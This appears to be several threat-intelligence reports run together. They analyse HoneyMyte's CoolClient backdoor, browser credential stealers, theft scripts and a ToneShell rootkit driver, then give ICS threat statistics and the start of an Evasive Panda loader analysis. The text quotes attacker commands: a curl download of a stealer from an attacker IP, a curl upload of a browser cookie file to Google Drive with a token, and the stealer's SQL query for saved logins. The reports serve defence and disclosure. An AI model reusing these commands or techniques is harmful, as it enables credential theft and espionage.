Another notable new functionality is CoolClient’s ability to extract HTTP proxy credentials from the host’s HTTP traffic packets. To do so, the malware creates dedicated threads to intercept and parse raw network traffic on each local IP address. Once it is able to intercept and parse the traffic, CoolClient starts extracting proxy authentication credentials from HTTP traffic intercepted by the malware’s packet sniffer.

The function operates by analyzing the raw TCP payload to locate the Proxy-Connection header and ensure the packet is relevant. It then looks for the Proxy-Authorization: Basic header, extracts and decodes the Base64-encoded credential and saves it in memory to be sent later to the C2.

C2 command handler

The latest CoolClient variant uses TCP as the main C2 communication protocol by default, but it also has the option to use UDP, similar to the previous variant. Each incoming payload begins with a four-byte magic value to identify the command family. However, if the command is related to downloading and running a plugin, this value is absent. If the client receives a packet without a recognized magic value, it switches to plugin mode (mechanism used to receive and execute plugin modules in memory) for command processing.

Magic value	Command category
CC BB AA FF	Beaconing, status update, configuration.
CD BB AA FF	Operational commands such as tunnelling, keylogging and file operations.
No magic value	Receive and execute plugin module in memory.

0xFFAABBCC – Beacon and configuration commands

Below is the command menu to manage client status and beaconing:

Command ID	Action
0x0	Send beacon connection
0x1	Update beacon timestamp
0x2	Enumerate active user sessions
0x3	Handle incoming C2 command

0xFFAABBCD – Operational commands

This command group implements functionalities such as data theft, proxy setup, and file manipulation. The following is a breakdown of known subcommands:

Command ID	Action
0x0	Set up reverse tunnel connection
0x1	Send data through tunnel
0x2	Close tunnel connection
0x3	Set up reverse proxy
0x4	Shut down a specific socket
0x6	List files in a directory
0x7	Delete file
0x8	Set up keylogger
0x9	Terminate keylogger thread
0xA	Get clipboard data
0xB	Install clipboard and active windows monitor
0xC	Turn off clipboard and active windows monitor
0xD	Read and send file
0xE	Delete file

CoolClient plugins

CoolClient supports multiple plugins, each dedicated to a specific functionality. Our recent findings indicate that the HoneyMyte group actively used CoolClient in campaigns targeting Mongolia, where the attackers pushed and executed a plugin named FileMgrS.dll through the C2 channel for file management operations.

Further sample hunting in our telemetry revealed two additional plugins: one providing remote shell capability (RemoteShellS.dll), and another focused on service management (ServiceMgrS.dll).

ServiceMgrS.dll – Service management plugin

This plugin is used to manage services on the victim host. It can enumerate all services, create new services, and even delete existing ones. The following table lists the command IDs and their respective actions.

Command ID	Action
0x0	Enumerate services
0x1 / 0x4	Start or resume service
0x2	Stop service
0x3	Pause service
0x5	Create service
0x6	Delete service
0x7	Set service to start automatically at boot
0x8	Set service to be launched manually
0x9	Set service to disabled

FileMgrS.dll – File management plugin

A few basic file operations are already supported in the operational commands of the main CoolClient implant, such as listing directory contents and deleting files. However, the dedicated file management plugin provides a full set of file management capabilities.

Command ID	Action
0x0	List drives and network resources
0x1	List files in folder
0x2	Delete file or folder
0x3	Create new folder
0x4	Move file
0x5	Read file
0x6	Write data to file
0x7	Compress file or folder into ZIP archive
0x8	Execute file
0x9	Download and execute file using certutil
0xA	Search for file
0xB	Send search result
0xC	Map network drive
0xD	Set chunk size for file transfers
0xF	Bulk copy or move
0x10	Get file metadata
0x11	Set file metadata

RemoteShellS.dll – Remote shell plugin

Based on our analysis of the main implant, the C2 command handler did not implement remote shell functionality. Instead, CoolClient relied on a dedicated plugin to enable this capability. This plugin spawns a hidden cmd.exe process, redirecting standard input and output through pipes, which allows the attacker to send commands into the process and capture the resulting output. This output is then forwarded back to the C2 server for remote interaction.

Browser login data stealer

While investigating suspicious ToneShell backdoor traffic originating from a host in Thailand, we discovered that the HoneyMyte threat actor had downloaded and executed a malware sample intended to extract saved login credentials from the Chrome browser as part of their post-exploitation activities. We will refer to this sample as Variant A. On the same day, the actor executed a separate malware sample (Variant B) targeting credentials stored in the Microsoft Edge browser. Both samples can be considered part of the same malware family.

During a separate threat hunting operation focused on HoneyMyte’s QReverse backdoor, we retrieved another variant of a Chrome credential parser (Variant C) that exhibited significant code similarities to the sample used in the aforementioned ToneShell campaign.

The malware was observed in countries such as Myanmar, Malaysia, and Thailand, with a particular focus on the government sector.

The following table shows the variants of this browser credential stealer employed by HoneyMyte.

Variant	Targeted browser(s)	Execution method	MD5 hash
A	Chrome	Direct execution (PE32)	1A5A9C013CE1B65ABC75D809A25D36A7
B	Edge	Direct execution (PE32)	E1B7EF0F3AC0A0A64F86E220F362B149
C	Chromium-based browsers	DLL side-loading	DA6F89F15094FD3F74BA186954BE6B05

These stealers may be part of a new malware toolset used by HoneyMyte during post-exploitation activities.

Initial infection

As part of post-exploitation activity involving the ToneShell backdoor, the threat actor initially executed the Variant A stealer, which targeted Chrome credentials. However, we were unable to determine the exact delivery mechanism used to deploy it.

A few minutes later, the threat actor executed a command to download and run the Variant B stealer from a remote server. This variant specifically targeted Microsoft Edge credentials.

curl  hxxp://45.144.165[.]65/BUIEFuiHFUEIuioKLWENFUoi878UIESf/MUEWGHui897hjkhsjdkHfjegfdh/67jksaebyut8seuhfjgfdgdfhet4SEDGF/Tools/getlogindataedge.exe -o "C:\users\[username]\libraries\getloginedge.exe"

Within the same hour that Variant B was downloaded and executed, we observed the threat actor issue another command to exfiltrate the Firefox browser cookie file (cookies.sqlite) to Google Drive using a curl command.

curl  -X POST -L -H "Authorization: Bearer ya29.a0Ad52N3-ZUcb-ixQT_Ts1MwvXsO9JwEYRujRROo-vwqmSW006YxrlFSRjTuUuAK-u8UiaQt7v0gQbjktpFZMp65hd2KBwnY2YdTXYAKhktWi-v1LIaEFYzImoO7p8Jp01t29_3JxJukd6IdpTLPdXrKINmnI9ZgqPTWicWN4aCgYKAQ4SARASFQHGX2MioNQPPZN8EkdbZNROAlzXeQ0174"  -F "metadata={name :'8059cookies.sqlite'};type=application/json;charset=UTF-8" -F "file=@"$appdata\Mozilla\Firefox\Profiles\i6bv8i9n.default-release\cookies.sqlite";type=application/zip" -k "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart"

Variant C analysis

Unlike Variants A and B, which use hardcoded file paths, the Variant C stealer accepts two runtime arguments: file paths to the browser’s Login Data and Local State files. This provides greater flexibility and enables the stealer to target any Chromium-based browser such as Chrome, Edge, Brave, or Opera, regardless of the user profile or installation path. An example command used to execute Variant C is as follows:

Jarte.exe "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Local State"

In this context, the Login Data file is an SQLite database that stores saved website login credentials, including usernames and AES-encrypted passwords. The Local State file is a JSON-formatted configuration file containing browser metadata, with the most important value being encrypted_key, a Base64-encoded AES key. It is required to decrypt the passwords stored in the Login Data database and is also encrypted.

When executed, the malware copies the Login Data file to the user’s temporary directory as chromeTmp.

To retrieve saved credentials, the malware executes the following SQL query on the copied database:

SELECT origin_url, username_value, password_value FROM logins

This query returns the login URL, stored username, and encrypted password for each saved entry.

Next, the malware reads the Local State file to extract the browser’s encrypted master key. This key is protected using the Windows Data Protection API (DPAPI), ensuring that the encrypted data can only be decrypted by the same Windows user account that created it. The malware then uses the CryptUnprotectData API to decrypt this key, enabling it to access and decrypt password entries from the Login Data SQLite database.

With the decrypted AES key in memory, the malware proceeds to decrypt each saved password and reconstructs complete login records.

Finally, it saves the results to the text file C:\Users\Public\Libraries\License.txt.

Login data stealer’s attribution

Our investigation indicated that the malware was consistently used in the ToneShell backdoor campaign, which was attributed to the HoneyMyte APT group.
Another factor supporting our attribution is that the browser credential stealer appeared to be linked to the LuminousMoth APT group, which has previously been connected to HoneyMyte. Our analysis of LuminousMoth’s cookie stealer revealed several code-level similarities with HoneyMyte’s credential stealer. For example, both malware families used the same method to copy targeted files, such as Login Data and Cookies, into a temporary folder named ChromeTmp, indicating possible tool reuse or a shared codebase.

Both stealers followed the same steps: they checked if the original Login Data file existed, located the temporary folder, and copied the browser data into a file with the same name.

Based on these findings, we assess with high confidence that HoneyMyte is behind this browser credential stealer, which also has a strong connection to the LuminousMoth APT group.

Document theft and system information reconnaissance scripts

In several espionage campaigns, HoneyMyte used a number of scripts to gather system information, conduct document theft activities and steal browser login data. One of these scripts is a batch file named 1.bat.

1.bat – System enumeration and data exfiltration batch script

The script starts by downloading curl.exe and rar.exe into the public folder. These are the tools used for file transfer and compression.

It then collects network details and downloads and runs the nbtscan tool for internal network scanning.

During enumeration, the script also collects information such as stored credentials, the result of the systeminfo command, registry keys, the startup folder list, the list of files and folders, and antivirus information into a file named log.dat. It then uploads this file via FTP to http://113.23.212[.]15/pub/.

Next, it deletes both log.dat and the nbtscan executable to remove traces. The script then terminates browser processes, compresses browser-related folders, retrieves FileZilla configuration files, archives documents from all drives with rar.exe, and uploads the collected data to the same server.

Finally, it deletes any remaining artifacts to cover its tracks.

Ttraazcs32.ps1 – PowerShell-based collection and exfiltration

The second script observed in HoneyMyte operations is a PowerShell file named Ttraazcs32.ps1.

Similar to the batch file, this script downloads curl.exe and rar.exe into the public folder to handle file transfers and compression. It collects computer and user information, as well as network details such as the public IP address and Wi-Fi network data.

All gathered information is written to a file, compressed into a password-protected RAR archive and uploaded via FTP.

In addition to system profiling, the script searches multiple drives including C:\Users\Desktop, Downloads, and drives D: to Z: for recently modified documents. Targeted file types include .doc, .xls, .pdf, .tif, and .txt, specifically those changed within the last 60 days. These files are also compressed into a password-protected RAR archive and exfiltrated to the same FTP server.

t.ps1 – Saved login data collection and exfiltration

The third script attributed to HoneyMyte is a PowerShell file named t.ps1.

The script requires a number as a parameter and creates a working directory under D:\temp with that number as the directory name. The number is not related to any identifier. It is simply a numeric label that is probably used to organize stolen data by victim. If the D drive doesn’t exist on the victim’s machine, the new folder will be created in the current working directory.

The script then searches the system for Chrome and Chromium-based browser files such as Login Data and Local State. It copies these files into the target directory and extracts the encrypted_key value from the Local State file. It then uses Windows DPAPI (System.Security.Cryptography.ProtectedData) to decrypt this key and writes the decrypted Base64-encoded key into a new file named Local State-journal in the same directory. For example, if the original file is C:\Users\$username \AppData\Local\Google\Chrome\User Data\Local State, the script creates a new file C:\Users\$username\AppData\Local\Google\Chrome\User Data\Local State-journal, which the attacker can later use to access stored credentials.

Once the credential data is ready, the script verifies that both rar.exe and curl.exe are available. If they are not present, it downloads them directly from Google Drive. The script then compresses the collected data into a password-protected archive (the password is “PIXELDRAIN”) and uploads it to pixeldrain.com using the service’s API, authenticated with a hardcoded token. Pixeldrain is a public file-sharing service that attackers abuse for data exfiltration.

This approach highlights HoneyMyte’s shift toward using public file-sharing services to covertly exfiltrate sensitive data, especially browser login credentials.

Conclusion

Recent findings indicate that HoneyMyte continues to operate actively in the wild, deploying an updated toolset that includes the CoolClient backdoor, a browser login data stealer, and various document theft scripts.

With capabilities such as keylogging, clipboard monitoring, proxy credential theft, document exfiltration, browser credential harvesting, and large-scale file theft, HoneyMyte’s campaigns appear to go far beyond traditional espionage goals like document theft and persistence. These tools indicate a shift toward the active surveillance of user activity that includes capturing keystrokes, collecting clipboard data, and harvesting proxy credential.

Organizations should remain highly vigilant against the deployment of HoneyMyte’s toolset, including the CoolClient backdoor, as well as related malware families such as PlugX, ToneShell, Qreverse, and LuminousMoth. These operations are part of a sophisticated threat actor strategy designed to maintain persistent access to compromised systems while conducting high-value surveillance activities.

Indicators of compromise

CoolClient
F518D8E5FE70D9090F6280C68A95998F          libngs.dll
1A61564841BBBB8E7774CBBEB3C68D5D       loader.dat
AEB25C9A286EE4C25CA55B72A42EFA2C        main.dat
6B7300A8B3F4AAC40EEECFD7BC47EE7C        time.dat

CoolClient plugins
7AA53BA3E3F8B0453FFCFBA06347AB34        ServiceMgrS.dll
A1CD59F769E9E5F6A040429847CA6EAE         FileMgrS.dll
1BC5329969E6BF8EF2E9E49AAB003F0B         RemoteShellS.dll

Browser login data stealer
1A5A9C013CE1B65ABC75D809A25D36A7       Variant A
E1B7EF0F3AC0A0A64F86E220F362B149          Variant B
DA6F89F15094FD3F74BA186954BE6B05         Variant C

Scripts
C19BD9E6F649DF1DF385DEEF94E0E8C4         1.bat
838B591722512368F81298C313E37412           Ttraazcs32.ps1
A4D7147F0B1CA737BFC133349841AABA        t.ps1

CoolClient C2
account.hamsterxnxx[.]com
popnike-share[.]com
japan.Lenovoappstore[.]com

FTP server
113.23.212[.]15

Overview of the attacks

In mid-2025, we identified a malicious driver file on computer systems in Asia. The driver file is signed with an old, stolen, or leaked digital certificate and registers as a mini-filter driver on infected machines. Its end-goal is to inject a backdoor Trojan into the system processes and provide protection for malicious files, user-mode processes, and registry keys.

Our analysis indicates that the final payload injected by the driver is a new sample of the ToneShell backdoor, which connects to the attacker’s servers and provides a reverse shell, along with other capabilities. The ToneShell backdoor is a tool known to be used exclusively by the HoneyMyte (aka Mustang Panda or Bronze President) APT actor and is often used in cyberespionage campaigns targeting government organizations, particularly in Southeast and East Asia.

The command-and-control servers for the ToneShell backdoor used in this campaign were registered in September 2024 via NameCheap services, and we suspect the attacks themselves to have begun in February 2025. We’ve observed through our telemetry that the new ToneShell backdoor is frequently employed in cyberespionage campaigns against government organizations in Southeast and East Asia, with Myanmar and Thailand being the most heavily targeted.

Notably, nearly all affected victims had previously been infected with other HoneyMyte tools, including the ToneDisk USB worm, PlugX, and older variants of ToneShell. Although the initial access vector remains unclear, it’s suspected that the threat actor leveraged previously compromised machines to deploy the malicious driver.

Compromised digital certificate

The driver file is signed with a digital certificate from Guangzhou Kingteller Technology Co., Ltd., with a serial number of 08 01 CC 11 EB 4D 1D 33 1E 3D 54 0C 55 A4 9F 7F. The certificate was valid from August 2012 until 2015.

We found multiple other malicious files signed with the same certificate which didn’t show any connections to the attacks described in this article. Therefore, we believe that other threat actors have been using it to sign their malicious tools as well. The following image shows the details of the certificate.

Technical details of the malicious driver

The filename used for the driver on the victim’s machine is ProjectConfiguration.sys. The registry key created for the driver’s service uses the same name, ProjectConfiguration.

The malicious driver contains two user-mode shellcodes, which are embedded into the .data section of the driver’s binary file. The shellcodes are executed as separate user-mode threads. The rootkit functionality protects both the driver’s own module and the user-mode processes into which the backdoor code is injected, preventing access by any process on the system.

API resolution

To obfuscate the actual behavior of the driver module, the attackers used dynamic resolution of the required API addresses from hash values.

The malicious driver first retrieves the base address of the ntoskrnl.exe and fltmgr.sys by calling ZwQuerySystemInformation with the SystemInformationClass set to SYSTEM_MODULE_INFORMATION. It then iterates through this system information and searches for the desired DLLs by name, noting the ImageBaseAddress of each.

Once the base addresses of the libraries are obtained, the driver uses a simple hashing algorithm to dynamically resolve the required API addresses from ntoskrnl.exe and fltmgr.sys.

The hashing algorithm is shown below. The two variants of the seed value provided in the comment are used in the shellcodes and the final payload of the attack.

Protection of the driver file

The malicious driver registers itself with the Filter Manager using FltRegisterFilter and sets up a pre-operation callback. This callback inspects I/O requests for IRP_MJ_SET_INFORMATION and triggers a malicious handler when certain FileInformationClass values are detected. The handler then checks whether the targeted file object is associated with the driver; if it is, it forces the operation to fail by setting IOStatus to STATUS_ACCESS_DENIED. The relevant FileInformationClass values include:

• FileRenameInformation
• FileDispositionInformation
• FileRenameInformationBypassAccessCheck
• FileDispositionInformationEx
• FileRenameInformationEx
• FileRenameInformationExBypassAccessCheck

These classes correspond to file-delete and file-rename operations. By monitoring them, the driver prevents itself from being removed or renamed – actions that security tools might attempt when trying to quarantine it.

Protection of registry keys

The driver also builds a global list of registry paths and parameter names that it intends to protect. This list contains the following entries:

• ProjectConfiguration
  
• ProjectConfiguration\Instances
  
• ProjectConfiguration Instance

To guard these keys, the malware sets up a RegistryCallback routine, registering it through CmRegisterCallbackEx. To do so, it must assign itself an altitude value. Microsoft governs altitude assignments for mini-filters, grouping them into Load Order categories with predefined altitude ranges. A filter driver with a low numerical altitude is loaded into the I/O stack below filters with higher altitudes. The malware uses a hardcoded starting point of 330024 and creates altitude strings in the format 330024.%l, where %l ranges from 0 to 10,000.

The malware then begins attempting to register the callback using the first generated altitude. If the registration fails with STATUS_FLT_INSTANCE_ALTITUDE_COLLISION, meaning the altitude is already taken, it increments the value and retries. It repeats this process until it successfully finds an unused altitude.

The callback monitors four specific registry operations. Whenever one of these operations targets a key from its protected list, it responds with 0xC0000022 (STATUS_ACCESS_DENIED), blocking the action. The monitored operations are:

• RegNtPreCreateKey
  
• RegNtPreOpenKey
  
• RegNtPreCreateKeyEx
  
• RegNtPreOpenKeyEx

Microsoft designates the 320000–329999 altitude range for the FSFilter Anti-Virus Load Order Group. The malware’s chosen altitude exceeds this range. Since filters with lower altitudes sit deeper in the I/O stack, the malicious driver intercepts file operations before legitimate low-altitude filters like antivirus components, allowing it to circumvent security checks.

Finally, the malware tampers with the altitude assigned to WdFilter, a key Microsoft Defender driver. It locates the registry entry containing the driver’s altitude and changes it to 0, effectively preventing WdFilter from being loaded into the I/O stack.

Protection of user-mode processes

The malware sets up a list intended to hold protected process IDs (PIDs). It begins with 32 empty slots, which are filled as needed during execution. A status flag is also initialized and set to 1 to indicate that the list starts out empty.

Next, the malware uses ObRegisterCallbacks to register two callbacks that intercept process-related operations. These callbacks apply to both OB_OPERATION_HANDLE_CREATE and OB_OPERATION_HANDLE_DUPLICATE, and both use a malicious pre-operation routine.

This routine checks whether the process involved in the operation has a PID that appears in the protected list. If so, it sets the DesiredAccess field in the OperationInformation structure to 0, effectively denying any access to the process.

The malware also registers a callback routine by calling PsSetCreateProcessNotifyRoutine. These callbacks are triggered during every process creation and deletion on the system. This malware’s callback routine checks whether the parent process ID (PPID) of a process being deleted exists in the protected list; if it does, the malware removes that PPID from the list. This eventually removes the rootkit protection from a process with an injected backdoor, once the backdoor has fulfilled its responsibilities.

Payload injection

The driver delivers two user-mode payloads.

The first payload spawns an svchost process and injects a small delay-inducing shellcode.  The PID of this new svchost instance is written to a file for later use.

The second payload is the final component – the ToneShell backdoor – and is later injected into that same svchost process.

Injection workflow:

The malicious driver searches for a high-privilege target process by iterating through PIDs and checking whether each process exists and runs under SeLocalSystemSid. Once it finds one, it customizes the first payload using random event names, file names, and padding bytes, then creates a named event and injects the payload by attaching its current thread to the process, allocating memory, and launching a new thread.

After injection, it waits for the payload to signal the event, reads the PID of the newly created svchost process from the generated file, and adds it to its protected process list. It then similarly customizes the second payload (ToneShell) using random event name and random padding bytes, then creates a named event and injects the payload by attaching to the process, allocating memory, and launching a new thread.

Once the ToneShell backdoor finishes execution, it signals the event. The malware then removes the svchost PID from the protected list, waits 10 seconds, and attempts to terminate the process.

ToneShell backdoor

The final stage of the attack deploys ToneShell, a backdoor previously linked to operations by the HoneyMyte APT group and discussed in earlier reporting (see Malpedia and MITRE). Notably, this is the first time we’ve seen ToneShell delivered through a kernel-mode loader, giving it protection from user-mode monitoring and benefiting from the rootkit capabilities of the driver that hides its activity from security tools.

Earlier ToneShell variants generated a 16-byte GUID using CoCreateGuid and stored it as a host identifier. In contrast, this version checks for a file named C:\ProgramData\MicrosoftOneDrive.tlb, validating a 4-byte marker inside it. If the file is absent or the marker is invalid, the backdoor derives a new pseudo-random 4-byte identifier using system-specific values (computer name, tick count, and PRNG), then creates the file and writes the marker. This becomes the unique ID for the infected host.

The samples we have analyzed contact two command-and-control servers:

• avocadomechanism[.]com
  
• potherbreference[.]com

ToneShell communicates with its C2 over raw TCP on port 443 while disguising traffic using fake TLS headers. This version imitates the first bytes of a TLS 1.3 record (0x17 0x03 0x04) instead of the TLS 1.2 pattern used previously. After this three-byte marker, each packet contains a size field and an encrypted payload.

Packet layout:

• Header (3 bytes): Fake TLS marker
• Size (2 bytes): Payload length
• Payload: Encrypted with a rolling XOR key

The backdoor supports a set of remote operations, including file upload/download, remote shell functionality, and session control. The command set includes:

Command ID	Description
0x1	Create temporary file for incoming data
0x2 / 0x3	Download file
0x4	Cancel download
0x7	Establish remote shell via pipe
0x8	Receive operator command
0x9	Terminate shell
0xA / 0xB	Upload file
0xC	Cancel upload
0xD	Close connection

Conclusion

We assess with high confidence that the activity described in this report is linked to the HoneyMyte threat actor. This conclusion is supported by the use of the ToneShell backdoor as the final-stage payload, as well as the presence of additional tools long associated with HoneyMyte – such as PlugX, and the ToneDisk USB worm – on the impacted systems.

HoneyMyte’s 2025 operations show a noticeable evolution toward using kernel-mode injectors to deploy ToneShell, improving both stealth and resilience. In this campaign, we observed a new ToneShell variant delivered through a kernel-mode driver that carries and injects the backdoor directly from its embedded payload. To further conceal its activity, the driver first deploys a small user-mode component that handles the final injection step. It also uses multiple obfuscation techniques, callback routines, and notification mechanisms to hide its API usage and track process and registry activity, ultimately strengthening the backdoor’s defenses.

Because the shellcode executes entirely in memory, memory forensics becomes essential for uncovering and analyzing this intrusion. Detecting the injected shellcode is a key indicator of ToneShell’s presence on compromised hosts.

Recommendations

To protect themselves against this threat, organizations should:

• Implement robust network security measures, such as firewalls and intrusion detection systems.
• Use advanced threat detection tools, such as endpoint detection and response (EDR) solutions.
• Provide regular security awareness training to employees.
• Conduct regular security audits and vulnerability assessments to identify and remediate potential vulnerabilities.
• Consider implementing a security information and event management (SIEM) system to monitor and analyze security-related data.

By following these recommendations, organizations can reduce their risk of being compromised by the HoneyMyte APT group and other similar threats.

Indicators of Compromise

More indicators of compromise, as well as any updates to these, are available to the customers of our APT intelligence reporting service. If you are interested, please contact intelreports@kaspersky.com.

36f121046192b7cac3e4bec491e8f1b5        AppvVStram_.sys
fe091e41ba6450bcf6a61a2023fe6c83         AppvVStram_.sys
abe44ad128f765c14d895ee1c8bad777       ProjectConfiguration.sys
avocadomechanism[.]com                            ToneShell C2
potherbreference[.]com                                 ToneShell C2

Statistics across all threats

In Q3 2025, the percentage of ICS computers on which malicious objects were blocked decreased from the previous quarter by 0.4 pp to 20.1%. This is the lowest level for the observed period.

Regionally, the percentage of ICS computers on which malicious objects were blocked ranged from 9.2% in Northern Europe to 27.4% in Africa.

In Q3 2025, the percentage increased in five regions. The most notable increase occurred in East Asia, triggered by the local spread of malicious scripts in the OT infrastructure of engineering organizations and ICS integrators.

Selected industries

The biometrics sector traditionally led the rankings of the industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked.

In Q3 2025, the percentage of ICS computers on which malicious objects were blocked increased in four of the seven surveyed industries. The most notable increases were in engineering and ICS integrators, and manufacturing.

Diversity of detected malicious objects

In Q3 2025, Kaspersky protection solutions blocked malware from 11,356 different malware families of various categories on industrial automation systems.

In Q3 2025, there was a decrease in the percentage of ICS computers on which denylisted internet resources and miners of both categories were blocked. These were the only categories that exhibited a decrease.

Main threat sources

Depending on the threat detection and blocking scenario, it is not always possible to reliably identify the source. The circumstantial evidence for a specific source can be the blocked threat’s type (category).

The internet (visiting malicious or compromised internet resources; malicious content distributed via messengers; cloud data storage and processing services and CDNs), email clients (phishing emails), and removable storage devices remain the primary sources of threats to computers in an organization’s technology infrastructure.

In Q3 2025, the percentage of ICS computers on which malicious objects from various sources were blocked decreased.

The same computer can be attacked by several categories of malware from the same source during a quarter. That computer is counted when calculating the percentage of attacked computers for each threat category, but is only counted once for the threat source (we count unique attacked computers). In addition, it is not always possible to accurately determine the initial infection attempt. Therefore, the total percentage of ICS computers on which various categories of threats from a certain source were blocked can exceed the percentage of threats from the source itself.

• The main categories of threats from the internet blocked on ICS computers in Q3 2025 were malicious scripts and phishing pages, and denylisted internet resources. The percentage ranged from 4.57% in Northern Europe to 10.31% in Africa.
• The main categories of threats from email clients blocked on ICS computers were malicious scripts and phishing pages, spyware, and malicious documents. Most of the spyware detected in phishing emails was delivered as a password-protected archive or a multi-layered script embedded in an office document. The percentage of ICS computers on which threats from email clients were blocked ranged from 0.78% in Russia to 6.85% in Southern Europe.
• The main categories of threats that were blocked when removable media was connected to ICS computers were worms, viruses, and spyware. The percentage of ICS computers on which threats from this source were blocked ranged from 0.05% in Australia and New Zealand to 1.43% in Africa.
• The main categories of threats that spread through network folders were viruses, AutoCAD malware, worms, and spyware. The percentages of ICS computers where threats from this source were blocked ranged from 0.006% in Northern Europe to 0.20% in East Asia.

Threat categories

Typical attacks blocked within an OT network are multi-step sequences of malicious activities, where each subsequent step of the attackers is aimed at increasing privileges and/or gaining access to other systems by exploiting the security problems of industrial enterprises, including technological infrastructures.

Malicious objects used for initial infection

In Q3 2025, the percentage of ICS computers on which denylisted internet resources were blocked decreased to 4.01%. This is the lowest quarterly figure since the beginning of 2022.

Regionally, the percentage of ICS computers on which denylisted internet resources were blocked ranged from 2.35% in Australia and New Zealand to 4.96% in Africa. Southeast Asia and South Asia were also among the top three regions for this indicator.

The percentage of ICS computers on which malicious documents were blocked has grown for three consecutive quarters, following a decline at the end of 2024. In Q3 2025, it reached 1,98%.

The indicator increased in four regions: South America, East Asia, Southeast Asia, and Australia and New Zealand. South America saw the largest increase as a result of a large-scale phishing campaign in which attackers used new exploits for an old vulnerability (CVE-2017-11882) in Microsoft Office Equation Editor to deliver various spyware to victims’ computers. It is noteworthy that the attackers in this phishing campaign used localized Spanish-language emails disguised as business correspondence.

In Q3 2025, the percentage of ICS computers on which malicious scripts and phishing pages were blocked increased to 6.79%. This category led the rankings of threat categories in terms of the percentage of ICS computers on which they were blocked.

Regionally, the percentage of ICS computers on which malicious scripts and phishing pages were blocked ranged from 2.57% in Northern Europe to 9.41% in Africa. The top three regions for this indicator were Africa, East Asia, and South America. The indicator increased the most in East Asia (by a dramatic 5.23 pp) as a result of the local spread of malicious spyware scripts loaded into the memory of popular torrent clients including MediaGet.

Next-stage malware

Malicious objects used to initially infect computers deliver next-stage malware — spyware, ransomware, and miners — to victims’ computers. As a rule, the higher the percentage of ICS computers on which the initial infection malware is blocked, the higher the percentage for next-stage malware.
In Q3 2025, the percentage of ICS computers on which spyware and ransomware were blocked increased. The rates were:

• spyware: 4.04% (up 0.20 pp);
• ransomware: 0.17% (up 0.03 pp).

The percentage of ICS computers on which miners of both categories were blocked decreased. The rates were:

• miners in the form of executable files for Windows: 0.57% (down 0.06 pp), it’s the lowest level since Q3 2022;
• web miners: 0.25% (down 0.05 pp). This is the lowest level since Q3 2022.

Self-propagating malware

Self-propagating malware (worms and viruses) is a category unto itself. Worms and virus-infected files were originally used for initial infection, but as botnet functionality evolved, they took on next-stage characteristics.

To spread across ICS networks, viruses and worms rely on removable media and network folders in the form of infected files, such as archives with backups, office documents, pirated games and hacked applications. In rarer and more dangerous cases, web pages with network equipment settings, as well as files stored in internal document management systems, product lifecycle management (PLM) systems, resource management (ERP) systems and other web services are infected.

In Q3 2025, the percentage of ICS computers on which worms and viruses were blocked increased to 1.26% (by 0.04 pp) and 1.40% (by 0.11 pp), respectively.

AutoCAD malware

This category of malware can spread in a variety of ways, so it does not belong to a specific group.

In Q3 2025, the percentage of ICS computers on which AutoCAD malware was blocked slightly increased to 0.30% (by 0.01 pp).

For more information on industrial threats see the full version of the report.

Introduction

The Evasive Panda APT group (also known as Bronze Highland, Daggerfly, and StormBamboo) has been active since 2012, targeting multiple industries with sophisticated, evolving tactics. Our latest research (June 2025) reveals that the attackers conducted highly-targeted campaigns, which started in November 2022 and ran until November 2024.

The group mainly performed adversary-in-the-middle (AitM) attacks on specific victims. These included techniques such as dropping loaders into specific locations and storing encrypted parts of the malware on attacker-controlled servers, which were resolved as a response to specific website DNS requests. Notably, the attackers have developed a new loader that evades detection when infecting its targets, and even employed hybrid encryption practices to complicate analysis and make implants unique to each victim.

Furthermore, the group has developed an injector that allows them to execute their MgBot implant in memory by injecting it into legitimate processes. It resides in the memory space of a decade-old signed executable by using DLL sideloading and enables them to maintain a stealthy presence in compromised systems for extended periods.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Technical details

Initial infection vector

The threat actor commonly uses lures that are disguised as new updates to known third-party applications or popular system applications trusted by hundreds of users over the years.

In this campaign, the attackers used an executable disguised as an update package for SohuVA, which is a streaming app developed by Sohu Inc., a Chinese internet company. The malicious package, named sohuva_update_10.2.29.1-lup-s-tp.exe, clearly impersonates a real SohuVA update to deliver malware from the following resource, as indicated by our telemetry:

http://p2p.hd.sohu.com[.]cn/foxd/gz?file=sohunewplayer_7.0.22.1_03_29_13_13_union.exe&new=/66/157/ovztb0wktdmakeszwh2eha.exe

There is a possibility that the attackers used a DNS poisoning attack to alter the DNS response of p2p.hd.sohu.com[.]cn to an attacker-controlled server’s IP address, while the genuine update module of the SohuVA application tries to update its binaries located in appdata\roaming\shapp\7.0.18.0\package. Although we were unable to verify this at the time of analysis, we can make an educated guess, given that it is still unknown what triggered the update mechanism.

Furthermore, our analysis of the infection process has identified several additional campaigns pursued by the same group. For example, they utilized a fake updater for the iQIYI Video application, a popular platform for streaming Asian media content similar to SohuVA. This fake updater was dropped into the application’s installation folder and executed by the legitimate service qiyiservice.exe. Upon execution, the fake updater initiated malicious activity on the victim’s system, and we have identified that the same method is used for IObit Smart Defrag and Tencent QQ applications.

The initial loader was developed in C++ using the Windows Template Library (WTL). Its code bears a strong resemblance to Wizard97Test, a WTL sample application hosted on Microsoft’s GitHub. The attackers appear to have embedded malicious code within this project to effectively conceal their malicious intentions.

The loader first decrypts the encrypted configuration buffer by employing an XOR-based decryption algorithm:

for ( index = 0; index < v6; index = (index + 1) )
{
if ( index >= 5156 )
break;
mw_configindex ^= (&mw_deflated_config + (index & 3));
}

After decryption, it decompresses the LZMA-compressed buffer into the allocated buffer, and all of the configuration is exposed, including several components:

• Malware installation path: %ProgramData%\Microsoft\MF
• Resource domain: http://www.dictionary.com/
• Resource URI: image?id=115832434703699686&product=dict-homepage.png
• MgBot encrypted configuration

The malware also checks the name of the logged-in user in the system and performs actions accordingly. If the username is SYSTEM, the malware copies itself with a different name by appending the ext.exe suffix inside the current working directory. Then it uses the ShellExecuteW API to execute the newly created version. Notably, all relevant strings in the malware, such as SYSTEM and ext.exe, are encrypted, and the loader decrypts them with a specific XOR algorithm.

